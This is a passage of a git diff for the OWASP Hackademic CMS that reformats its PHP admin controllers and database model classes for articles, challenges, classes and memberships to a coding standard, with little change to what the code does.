HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"; +require_once HACKADEMIC_PATH."admin/model/class.Classes.php"; +require_once HACKADEMIC_PATH."admin/controller/class.HackademicBackendController.php"; +require_once HACKADEMIC_PATH."model/common/class.Challenge.php"; +require_once HACKADEMIC_PATH."model/common/class.Utils.php"; +require_once HACKADEMIC_PATH."model/common/class.ScoringRule.php"; + +class ShowClassController extends HackademicBackendController +{ + + private static $_action_type = 'show_class'; + + public function go() + { + $this->setViewTemplate('showclass.tpl'); + + if (!isset($_GET['id'])) { + header('Location: '.SOURCE_ROOT_PATH."?url=admin/manageclass"); + die(); + } + $class_id=$_GET['id']; + + $class = Classes::getClass($class_id); + $change = false; + + if (isset($_POST['submit'])) { + if (isset($_POST['updateclassname'])) { + if ($_POST['updateclassname']=='') { + header('Location: '.SOURCE_ROOT_PATH."?url=admin/showclass&id=$class_id&action=editerror"); + die(); + } else { + if ($_POST['challenges'] !='default') { + ClassChallenges::addMembership($_POST['challenges'], $_GET['id']); + $this->addSuccessMessage( + "Challenge has been added to the class succesfully" + ); + } + if ($_POST['updateclassname'] != $class->name) { + $change = true; + $this->name = Utils::sanitizeInput($_POST['updateclassname']); + Classes::updateClassName($class_id, $this->name); + header('Location: '.SOURCE_ROOT_PATH."?url=admin/showclass&id=$class_id&action=editsuccess&message=cname"); + die(); + } + } + } + } + if (isset($_GET['action']) && $_GET['action'] == "editerror") { + $this->addErrorMessage("Class name should not be empty"); + } + if (isset($_GET['action']) && $_GET['action'] == "editsuccess") { + $this->addSuccessMessage("Class name updated successfully"); + } + if (isset($_GET['action']) && $_GET['action'] == "del") { + if (isset($_GET['uid'])) { + ClassMemberships::deleteMembership($_GET['uid'], $class_id); + $this->addSuccessMessage( + "User has been deleted from the class succesfully" + ); + } else if (isset($_GET['cid'])) { + ClassChallenges::deleteMembership($_GET['cid'], $class_id); + $this->addSuccessMessage( + "Challenge has been deleted from the class succesfully" + ); + } + } + + + $user_members = ClassMemberships::getAllMemberships($class_id); + $challenges_assigned = ClassChallenges::getAllMemberships($class_id); + + $rules_arr = array(); + foreach ($challenges_assigned as $challenge) { + $rule = ScoringRule::getScoringRuleByChallengeClassId($challenge['challenge_id'], $class_id); + if ($rule == NO_RESULTS ) { + $rule = ScoringRule::getScoringRule(DEFAULT_RULES_ID); + } + $rules_arr[$challenge['challenge_id']] = ScoringRule::getRuleSummary($rule); + } + if ($change) { + $class = Classes::getClass($class_id); + } + /* + var_dump($challenges_not_assigned); + var_dump($challenges_assigned); + */ + $challenges_not_assigned = ClassChallenges::getNotMemberships($class_id); + $this->addToView('class', $class); + $this->addToView('challenges_not_assigned', $challenges_not_assigned); + $this->addToView('users', $user_members); + $this->addToView('challenges', $challenges_assigned); + return $this->generateView(self::$_action_type); + } +} diff --git a/admin/controller/class.UserManagerController.php b/admin/controller/class.UserManagerController.php index 25693ab7..69545ffc 100755 --- a/admin/controller/class.UserManagerController.php +++ b/admin/controller/class.UserManagerController.php @@ -46,9 +46,7 @@ public function go() { $this->addSuccessMessage("Class has been added succesfully"); } elseif (isset($_GET['source']) && $_GET['source']=="addtoclass") { $this->addSuccessMessage("User has been added to the class succesfully"); - } elseif (isset($_GET['source']) && $_GET['source']=="activate") { - $this->addSuccessMessage("User has been activated succesfully"); - } + } if (isset($_GET['search']) && isset($_GET['category']) && $_GET['search']!='' && $_GET['category']!='') { $total_pages = User::getNumberofUsers($_GET['search'], $_GET['category']); } else { @@ -74,10 +72,10 @@ public function go() { // Initial page num setup if ($page == 0){$page = 1;} - $prev = $page - 1; - $next = $page + 1; - $lastpage = ceil($total_pages/$limit); - $LastPagem1 = $lastpage - 1; + $prev = $page - 1; + $next = $page + 1; + $lastpage = ceil($total_pages/$limit); + $LastPagem1 = $lastpage - 1; $pagination = array ( 'lastpage' => $lastpage, diff --git a/admin/index.php b/admin/index.php index b224bac6..827a8a51 100755 --- a/admin/index.php +++ b/admin/index.php @@ -1,36 +1,38 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ -require_once(HACKADEMIC_PATH."admin/controller/class.BackendController.php"); - -$controller = new BackendController(); -echo $controller->go(); \ No newline at end of file +require_once HACKADEMIC_PATH."admin/controller/class.BackendController.php"; + +$controller = new BackendController(); +echo $controller->go(); diff --git a/admin/model/class.ArticleBackend.php b/admin/model/class.ArticleBackend.php index cdb3c9b6..d61aaf91 100755 --- a/admin/model/class.ArticleBackend.php +++ b/admin/model/class.ArticleBackend.php @@ -1,93 +1,104 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); -require_once(HACKADEMIC_PATH."/model/common/class.Article.php"); -class ArticleBackend extends Article { +require_once HACKADEMIC_PATH."model/common/class.HackademicDB.php"; +require_once HACKADEMIC_PATH."/model/common/class.Article.php"; +class ArticleBackend extends Article +{ - /** - * Adds an article to the database. - * @param $article - * @return True if it was successfully added. - */ - public static function addArticle($article) { - global $db; - $params = array(':title' => $article->title, ':content' => $article->content, ':date_posted' => $article->date_posted, - ':created_by' => $article->created_by, ':is_published' => $article->is_published); - $sql = "INSERT INTO articles(title, content, date_posted, created_by, is_published) "; - $sql .= "VALUES (:title, :content, :date_posted, :created_by, :is_published)"; - $query = $db->create($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + /** + * Adds an article to the database. + * + * @param Article $article Article to be added. + * + * @return True if it was successfully added. + */ + public static function addArticle($article) + { + global $db; + $params = array(':title' => $article->title, + ':content' => $article->content, + ':date_posted' => $article->date_posted, + ':created_by' => $article->created_by, + ':is_published' => $article->is_published); + $sql = "INSERT INTO articles(title, content, date_posted, created_by, is_published) "; + $sql .= "VALUES (:title, :content, :date_posted, :created_by, :is_published)"; + $query = $db->create($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** - * Updates an article in the database. - * @param $article - * @return True if it was successfully updated. - */ - public static function updateArticle($article) { - global $db; - $params = array(':id' => $article->id, ':title' => $article->title, ':content' => $article->content, - ':date_modified' => $article->date_modified, ':last_modified_by' => $article->last_modified_by); - $sql = "UPDATE articles SET title = :title, content = :content, last_modified = :date_modified, "; - $sql .= "last_modified_by = :last_modified_by WHERE id = :id"; - //yahan pr se execute ni hora h - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + /** + * Updates an article in the database. + * + * @param Article $article Article to be updated. + * + * @return True if it was successfully updated. + */ + public static function updateArticle(Article $article) + { + global $db; + $params = array(':id' => $article->id, ':title' => $article->title, ':content' => $article->content, + ':date_modified' => $article->last_modified, ':last_modified_by' => $article->last_modified_by); + $sql = "UPDATE articles SET title = :title, content = :content, last_modified = :date_modified, last_modified_by = :last_modified_by WHERE id = :id"; + $query = $db->update($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - public static function deleteArticle($id){ - global $db; - $params = array(':id' => $id); - $sql = "DELETE FROM articles WHERE id= :id"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + public static function deleteArticle($id) + { + global $db; + $params = array(':id' => $id); + $sql = "DELETE FROM articles WHERE id= :id"; + $query = $db->delete($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - public static function insertId() { - global $db; - return $db->insertId(); - } + public static function insertId() + { + global $db; + return $db->insertId(); + } } diff --git a/admin/model/class.ChallengeBackend.php b/admin/model/class.ChallengeBackend.php index aaabe32b..a837fdb0 100755 --- a/admin/model/class.ChallengeBackend.php +++ b/admin/model/class.ChallengeBackend.php @@ -1,91 +1,110 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."/model/common/class.Challenge.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"); - -class ChallengeBackend extends Challenge { - - /** - * Adds a challenge to the database. - * @param $challenge - * @return True if it was successfully added. - */ - public static function addChallenge($challenge) { - global $db; - $params = array(':title' => $challenge->title, ':pkg_name' => $challenge->pkg_name, ':description'=>$challenge->description, - ':author' => $challenge->author, ':category' => $challenge->category, ':date_posted' => $challenge->date_posted, - ':level' => $challenge->level, ':duration' => $challenge->duration); - $sql = "INSERT INTO challenges(title, pkg_name, description, author, category, date_posted, level, duration) "; - $sql .= "VALUES (:title, :pkg_name, :description, :author, :category, :date_posted, :level, :duration)"; - $query = $db->create($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - /** - * Updates a challenge in the database. - * @param challenge - * @return True if it was successfully updated. - */ - public static function updateChallenge($challenge) { - global $db; - $params = array(':id' => $challenge->id, ':title' => $challenge->title, ':description' => $challenge->description, - ':visibility' => $challenge->visibility, ':publish' => $challenge->publish, ':availability' => $challenge->availability, - ':level' => $challenge->level, ':duration' => $challenge->duration); - $sql = "UPDATE challenges SET title = :title, description = :description, visibility = :visibility, publish = :publish, "; - $sql .= "availability = :availability, level = :level, duration = :duration WHERE id = :id"; - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteChallenge($id) { - global $db; - $params = array(':id'=>$id); - $sql = "DELETE FROM challenges WHERE id=:id"; - $query = $db->delete($sql, $params, self::$action_type); - ClassChallenges::deleteAllMemberships($id); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."/model/common/class.Challenge.php"; +require_once HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"; + +class ChallengeBackend extends Challenge +{ + + /** + * Adds a challenge to the database. + * + * @param Challenge $challenge Information about a challenge to be added. + * + * @return True if it was successfully added. + */ + public static function addChallenge($challenge) + { + global $db; + $params = array(':title' => $challenge->title, + ':pkg_name' => $challenge->pkg_name, + ':description'=>$challenge->description, + ':author' => $challenge->author, + ':category' => $challenge->category, + ':date_posted' => $challenge->date_posted, + ':level' => $challenge->level, + ':duration' => $challenge->duration); + $sql = "INSERT INTO challenges(title, pkg_name, description, author, category, date_posted, level, duration) "; + $sql .= "VALUES (:title, :pkg_name, :description, :author, :category, :date_posted, :level, :duration)"; + $query = $db->create($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + /** + * Updates a challenge in the database. + * + * @param Chanllenge $challenge Information about challenge to be updated. + * + * @return True if it was successfully updated. + */ + public static function updateChallenge($challenge) + { + global $db; + $params = array(':id' => $challenge->id, + ':title' => $challenge->title, + ':description' => $challenge->description, + ':visibility' => $challenge->visibility, + ':publish' => $challenge->publish, + ':availability' => $challenge->availability, + ':level' => $challenge->level, + ':duration' => $challenge->duration); + $sql = "UPDATE challenges SET title = :title, description = :description, visibility = :visibility, publish = :publish, "; + $sql .= "availability = :availability, level = :level, duration = :duration WHERE id = :id"; + $query = $db->update($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function deleteChallenge($id) + { + global $db; + $params = array(':id'=>$id); + $sql = "DELETE FROM challenges WHERE id=:id"; + $query = $db->delete($sql, $params, self::$action_type); + ClassChallenges::deleteAllMemberships($id); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } +} diff --git a/admin/model/class.ClassChallenges.php b/admin/model/class.ClassChallenges.php index 707c9d9d..d4bf4d43 100644 --- a/admin/model/class.ClassChallenges.php +++ b/admin/model/class.ClassChallenges.php @@ -1,184 +1,208 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); -require_once(HACKADEMIC_PATH."admin/model/class.UserChallenges.php"); - -class ClassChallenges { - public $id; - public $challenge_id; - public $class_id; - public $date_created; - - private static $action_type = 'class_challenge'; - - public static function addMembership($challenge_id,$class_id){ - global $db; - $date = date("Y-m-d H:i:s"); - $params = array(':challenge_id' => $challenge_id,':class_id' => $class_id,':date_created' => $date); - $sql = "INSERT INTO class_challenges(challenge_id,class_id,date_created)"; - $sql .= " VALUES ( :challenge_id, :class_id, :date_created)"; - $query = $db->create($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function getMembershipsOfChallenge($challenge_id) { - global $db; - $params=array(':challenge_id' => $challenge_id); - $sql = "SELECT class_challenges.class_id, classes.name FROM class_challenges"; - $sql .= " LEFT JOIN classes ON class_challenges.class_id = classes.id WHERE"; - $sql .= " class_challenges.challenge_id = :challenge_id"; - $query = $db->read($sql, $params, self::$action_type); - $result_array = array(); - while ($row = $db->fetchArray($query)) { - array_push($result_array, $row); - } - return $result_array; - } - /** @returns: array - * Get all challenges the use can solve - */ - public static function getChallengesOfUser($user_id) { - return UserChallenges::getChallengesOfUser($user_id); - } - - public static function doesMembershipExist($challenge_id,$class_id) { - global $db; - $params = array(':challenge_id' => $challenge_id,':class_id' => $class_id); - $sql = "SELECT * FROM class_challenges"; - $sql .= " WHERE challenge_id = :challenge_id AND class_id = :class_id"; - $query = $db->read($sql, $params, self::$action_type); - if ($db->numRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteMembership($challenge_id, $class_id){ - global $db; - $params = array(':challenge_id' => $challenge_id,':class_id' => $class_id); - $sql = "DELETE FROM class_challenges WHERE challenge_id = :challenge_id AND class_id = :class_id"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteAllMemberships($challenge_id){ - global $db; - $params = array(':challenge_id' => $challenge_id); - $sql = "DELETE FROM class_challenges WHERE challenge_id = :challenge_id"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteAllMembershipsOfClass($class_id){ - global $db; - $params = array(':class_id' => $class_id); - $sql = "DELETE FROM class_challenges WHERE class_id = :class_id"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - /** - * Returns every challenge in the given class_id - */ - public static function getAllMemberships($class_id) { - global $db; - $params = array(':class_id' => $class_id); - $sql = "SELECT DISTINCT class_challenges.challenge_id, challenges.title FROM class_challenges "; - $sql .= "LEFT JOIN challenges ON class_challenges.challenge_id = challenges.id WHERE "; - $sql .= "class_challenges.class_id = :class_id ORDER BY challenge_id"; - $query = $db->read($sql, $params, self::$action_type); - $result_array = array(); - while ($row = $db->fetchArray($query)) { - array_push($result_array, $row); - } - return $result_array; - } - - public static function getNotMemberships($class_id){ - global $db; - $params = array(':class_id' => $class_id); - $sql = 'SELECT challenges.id,challenges.title - FROM challenges WHERE challenges.id NOT IN(SELECT challenge_id FROM class_challenges WHERE - class_id = :class_id)'; - $query = $db->read($sql, $params, self::$action_type); - $result_array = array(); - while ($row = $db->fetchArray($query)) { - array_push($result_array, $row); - } - //var_dump($result_array); - return $result_array; - } - - //Checks if challenge_id is allowed in any of the classes - public static function isAllowed($challenge_id, $classes) { - global $db; - $in_these_classes = ''; - if (empty($classes) || "" == $challenge_id){ - if ("dev" ==ENVIRONMENT && TRUE === SHOW_EMPTY_VAR_ERRORS){ - echo "

error: class.ClassChallenges.isAllowed challenge_id == ".$challenge_id. " and classes == ".print_r($classes,true)."

"; - } - return false; - } - $params=array(':challenge_id' => $challenge_id); - foreach ($classes as $class) { - if ($in_these_classes != '') { - $in_these_classes .= " OR "; - } - $in_these_classes .= "class_id = ".$class['class_id']; - } - $sql = "SELECT * FROM class_challenges WHERE challenge_id = :challenge_id AND (".$in_these_classes.");"; - $query = $db->read($sql,$params, self::$action_type); - if ($db->numRows($query)) { - return true; - } else { - return false; - } - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.HackademicDB.php"; +require_once HACKADEMIC_PATH."admin/model/class.UserChallenges.php"; + +class ClassChallenges +{ + public $id; + public $challenge_id; + public $class_id; + public $date_created; + + private static $_action_type = 'class_challenge'; + + public static function addMembership($challenge_id,$class_id) + { + global $db; + $date = date("Y-m-d H:i:s"); + $params = array(':challenge_id' => $challenge_id, + ':class_id' => $class_id, + ':date_created' => $date); + $sql = "INSERT INTO class_challenges(challenge_id,class_id,date_created)"; + $sql .= " VALUES ( :challenge_id, :class_id, :date_created)"; + $query = $db->create($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function getMembershipsOfChallenge($challenge_id) + { + global $db; + $params=array(':challenge_id' => $challenge_id); + $sql = "SELECT class_challenges.class_id, classes.name FROM class_challenges"; + $sql .= " LEFT JOIN classes ON class_challenges.class_id = classes.id WHERE"; + $sql .= " class_challenges.challenge_id = :challenge_id"; + $query = $db->read($sql, $params, self::$_action_type); + $result_array = array(); + while ($row = $db->fetchArray($query)) { + array_push($result_array, $row); + } + return $result_array; + } + /** + * Get all challenges the user can solve + * + * @param UserID $user_id Id of the user. + * + * @return Array. + */ + public static function getChallengesOfUser($user_id) + { + return UserChallenges::getChallengesOfUser($user_id); + } + + public static function doesMembershipExist($challenge_id,$class_id) + { + global $db; + $params = array(':challenge_id' => $challenge_id,':class_id' => $class_id); + $sql = "SELECT * FROM class_challenges"; + $sql .= " WHERE challenge_id = :challenge_id AND class_id = :class_id"; + $query = $db->read($sql, $params, self::$_action_type); + if ($db->numRows($query)) { + return true; + } else { + return false; + } + } + + public static function deleteMembership($challenge_id, $class_id) + { + global $db; + $params = array(':challenge_id' => $challenge_id,':class_id' => $class_id); + $sql = "DELETE FROM class_challenges WHERE challenge_id = :challenge_id AND class_id = :class_id"; + $query = $db->delete($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function deleteAllMemberships($challenge_id) + { + global $db; + $params = array(':challenge_id' => $challenge_id); + $sql = "DELETE FROM class_challenges WHERE challenge_id = :challenge_id"; + $query = $db->delete($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function deleteAllMembershipsOfClass($class_id) + { + global $db; + $params = array(':class_id' => $class_id); + $sql = "DELETE FROM class_challenges WHERE class_id = :class_id"; + $query = $db->delete($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + /** + * @param ClassID $class_id The Id of the class. + * + * @return Returns every challenge in the given class_id + */ + public static function getAllMemberships($class_id) + { + global $db; + $params = array(':class_id' => $class_id); + $sql = "SELECT DISTINCT class_challenges.challenge_id, challenges.title FROM class_challenges "; + $sql .= "LEFT JOIN challenges ON class_challenges.challenge_id = challenges.id WHERE "; + $sql .= "class_challenges.class_id = :class_id ORDER BY challenge_id"; + $query = $db->read($sql, $params, self::$_action_type); + $result_array = array(); + while ($row = $db->fetchArray($query)) { + array_push($result_array, $row); + } + return $result_array; + } + + public static function getNotMemberships($class_id) + { + global $db; + $params = array(':class_id' => $class_id); + $sql = 'SELECT challenges.id,challenges.title + FROM challenges WHERE challenges.id NOT IN(SELECT challenge_id FROM class_challenges WHERE + class_id = :class_id)'; + $query = $db->read($sql, $params, self::$_action_type); + $result_array = array(); + while ($row = $db->fetchArray($query)) { + array_push($result_array, $row); + } + //var_dump($result_array); + return $result_array; + } + + /** + * Checks if challenge_id is allowed in any of the classes + * + * @return true, if allowed, else false. + */ + public static function isAllowed($challenge_id, $classes) + { + global $db; + $in_these_classes = ''; + if (empty($classes) || "" == $challenge_id) { + if ("dev" ==ENVIRONMENT && true === SHOW_EMPTY_VAR_ERRORS) { + echo "

error: class.ClassChallenges.isAllowed challenge_id == ".$challenge_id. " and classes == ".print_r($classes, true)."

"; + } + return false; + } + $params=array(':challenge_id' => $challenge_id); + foreach ($classes as $class) { + if ($in_these_classes != '') { + $in_these_classes .= " OR "; + } + $in_these_classes .= "class_id = ".$class['class_id']; + } + $sql = "SELECT * FROM class_challenges WHERE challenge_id = :challenge_id AND (".$in_these_classes.");"; + $query = $db->read($sql, $params, self::$_action_type); + if ($db->numRows($query)) { + return true; + } else { + return false; + } + } +} diff --git a/admin/model/class.ClassMemberships.php b/admin/model/class.ClassMemberships.php index c1bec3b5..a8ee47f0 100644 --- a/admin/model/class.ClassMemberships.php +++ b/admin/model/class.ClassMemberships.php @@ -1,154 +1,164 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ - -require_once(HACKADEMIC_PATH."admin/model/class.Classes.php"); -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); - -class ClassMemberships { - public $id; - public $user_id; - public $class_id; - public $name;//class name - public $date_created; - - private static $action_type = 'class_membership'; - - public static function addMembership($user_id, $class_id){ - global $db; - $date = date('Y-m-d H:i:s'); - $params = array(':user_id' => $user_id, ':class_id' => $class_id, ':date_created' => $date); - $sql = "INSERT INTO class_memberships(user_id,class_id,date_created)"; - $sql .= " VALUES (:user_id ,:class_id ,:date_created)"; - $query = $db->read($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function getMembershipsOfUserObjects($user_id) { - $classes = self::getMembershipsOfUser($user_id); - $object_array = array(); - foreach ($classes as $class) { - $temp = array( - 'id' => $class['class_id'], - 'name' => $class['name'] - ); - $obj = Classes::instantiate($temp); - array_push($object_array, $obj); - } - return $object_array; - } - - /* - * Returns an array with - * all the classes the user is in - * */ - public static function getMembershipsOfUser($user_id) { - global $db; - $params = array(':user_id' => $user_id); - $sql = "SELECT class_memberships.class_id, classes.name FROM class_memberships"; - $sql .= " LEFT JOIN classes ON class_memberships.class_id = classes.id WHERE"; - $sql .= " class_memberships.user_id = :user_id"; - $query = $db->read($sql, $params, self::$action_type); - $result_array = array(); - while ($row = $db->fetchArray($query)) { - array_push($result_array, $row); - } - return $result_array; - } - - public static function doesMembershipExist($user_id, $class_id) { - global $db; - $params = array(':user_id' => $user_id, ':class_id' => $class_id); - $sql = "SELECT * FROM class_memberships"; - $sql .= " WHERE user_id = :user_id AND class_id = :class_id"; - $query = $db->read($sql, $params, self::$action_type); - if ($db->numRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteMembership($user_id, $class_id){ - global $db; - $params = array(':user_id'=>$user_id, ':class_id' => $class_id); - $sql = "DELETE FROM class_memberships WHERE user_id=:user_id AND class_id=:class_id"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteAllMemberships($user_id){ - global $db; - $sql = "DELETE FROM class_memberships WHERE user_id=:user_id"; - $params = array(':user_id' => $user_id); - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function deleteAllMembershipsOfClass($class_id){ - global $db; - $params = array(':class_id' => $class_id); - $sql = "DELETE FROM class_memberships WHERE class_id=:class_id"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function getAllMemberships($class_id) { - global $db; - $params = array(':class_id' => $class_id); - $sql = "SELECT class_memberships.user_id, users.username FROM class_memberships "; - $sql .= "LEFT JOIN users on class_memberships.user_id = users.id WHERE "; - $sql .= "class_memberships.class_id = :class_id"; - $query = $db->read($sql, $params, self::$action_type); - $result_array = array(); - while ($row = $db->fetchArray($query)) { - array_push($result_array, $row); - } - return $result_array; - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ + +require_once HACKADEMIC_PATH."admin/model/class.Classes.php"; +require_once HACKADEMIC_PATH."model/common/class.HackademicDB.php"; + +class ClassMemberships +{ + public $id; + public $user_id; + public $class_id; + public $name;//class name + public $date_created; + + private static $_action_type = 'class_membership'; + + public static function addMembership($user_id, $class_id) + { + global $db; + $date = date('Y-m-d H:i:s'); + $params = array(':user_id' => $user_id, ':class_id' => $class_id, ':date_created' => $date); + $sql = "INSERT INTO class_memberships(user_id,class_id,date_created)"; + $sql .= " VALUES (:user_id ,:class_id ,:date_created)"; + $query = $db->read($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function getMembershipsOfUserObjects($user_id) + { + $classes = self::getMembershipsOfUser($user_id); + $object_array = array(); + foreach ($classes as $class) { + $temp = array( + 'id' => $class['class_id'], + 'name' => $class['name'] + ); + $obj = Classes::instantiate($temp); + array_push($object_array, $obj); + } + return $object_array; + } + + /** + * Returns an array with + * all the classes the user is in + */ + public static function getMembershipsOfUser($user_id) + { + global $db; + $params = array(':user_id' => $user_id); + $sql = "SELECT class_memberships.class_id, classes.name FROM class_memberships"; + $sql .= " LEFT JOIN classes ON class_memberships.class_id = classes.id WHERE"; + $sql .= " class_memberships.user_id = :user_id"; + $query = $db->read($sql, $params, self::$_action_type); + $result_array = array(); + while ($row = $db->fetchArray($query)) { + array_push($result_array, $row); + } + return $result_array; + } + + public static function doesMembershipExist($user_id, $class_id) + { + global $db; + $params = array(':user_id' => $user_id, ':class_id' => $class_id); + $sql = "SELECT * FROM class_memberships"; + $sql .= " WHERE user_id = :user_id AND class_id = :class_id"; + $query = $db->read($sql, $params, self::$_action_type); + if ($db->numRows($query)) { + return true; + } else { + return false; + } + } + + public static function deleteMembership($user_id, $class_id) + { + global $db; + $params = array(':user_id'=>$user_id, ':class_id' => $class_id); + $sql = "DELETE FROM class_memberships WHERE user_id=:user_id AND class_id=:class_id"; + $query = $db->delete($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function deleteAllMemberships($user_id) + { + global $db; + $sql = "DELETE FROM class_memberships WHERE user_id=:user_id"; + $params = array(':user_id' => $user_id); + $query = $db->delete($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function deleteAllMembershipsOfClass($class_id) + { + global $db; + $params = array(':class_id' => $class_id); + $sql = "DELETE FROM class_memberships WHERE class_id=:class_id"; + $query = $db->delete($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function getAllMemberships($class_id) + { + global $db; + $params = array(':class_id' => $class_id); + $sql = "SELECT class_memberships.user_id, users.username FROM class_memberships "; + $sql .= "LEFT JOIN users on class_memberships.user_id = users.id WHERE "; + $sql .= "class_memberships.class_id = :class_id"; + $query = $db->read($sql, $params, self::$_action_type); + $result_array = array(); + while ($row = $db->fetchArray($query)) { + array_push($result_array, $row); + } + return $result_array; + } +} diff --git a/admin/model/class.Classes.php b/admin/model/class.Classes.php index f60760ad..5bfe29c7 100644 --- a/admin/model/class.Classes.php +++ b/admin/model/class.Classes.php @@ -1,211 +1,227 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"); -require_once(HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"); - -class Classes { - - public $id; - public $name; - public $date_created; - public $archive; - - private static $action_type = 'class'; - - public static function addClass($class_name, $date_created) { - global $db; - $params = array( - ':class_name' => $class_name, - ':date_created' => $date_created - ); - $sql = "INSERT INTO classes(name,date_created)"; - $sql .= " VALUES (:class_name,:date_created)"; - $query = $db->create($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function updateClassName($class_id , $class_name) { - global $db; - $params = array(':id' => $class_id,':class_name' => $class_name); - $sql = "UPDATE classes SET name = :class_name"; - $sql .= " WHERE id = :id "; - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function getClassByName($class_name){ - $params=array(':class_name' => $class_name); - $sql = "SELECT * FROM classes WHERE name = :class_name"; - $result_array=self::findBySQL($sql,$params); - return !empty($result_array)?array_shift($result_array):false; - } - public static function getClass($class_id) { - $params = array(':id' => $class_id); - $sql = "SELECT * FROM classes WHERE id = :id"; - $result_array = self::findBySQL($sql,$params); - return !empty($result_array)?array_shift($result_array):false; - } - - public static function getNumberOfClasses($search=NULL,$category=NULL) { - global $db; - if($search != NULL && $category != NULL) { - $params[':search_string'] = '%'.$search.'%'; - switch($category) { - case "name": - $sql = "SELECT COUNT(*) as num FROM classes WHERE name LIKE :search_string "; - break; - } - $query = $db->read($sql, $params, self::$action_type); - } else { - $sql = "SELECT COUNT(*) as num FROM classes WHERE archive =0"; - $query = $db->read($sql, NULL, 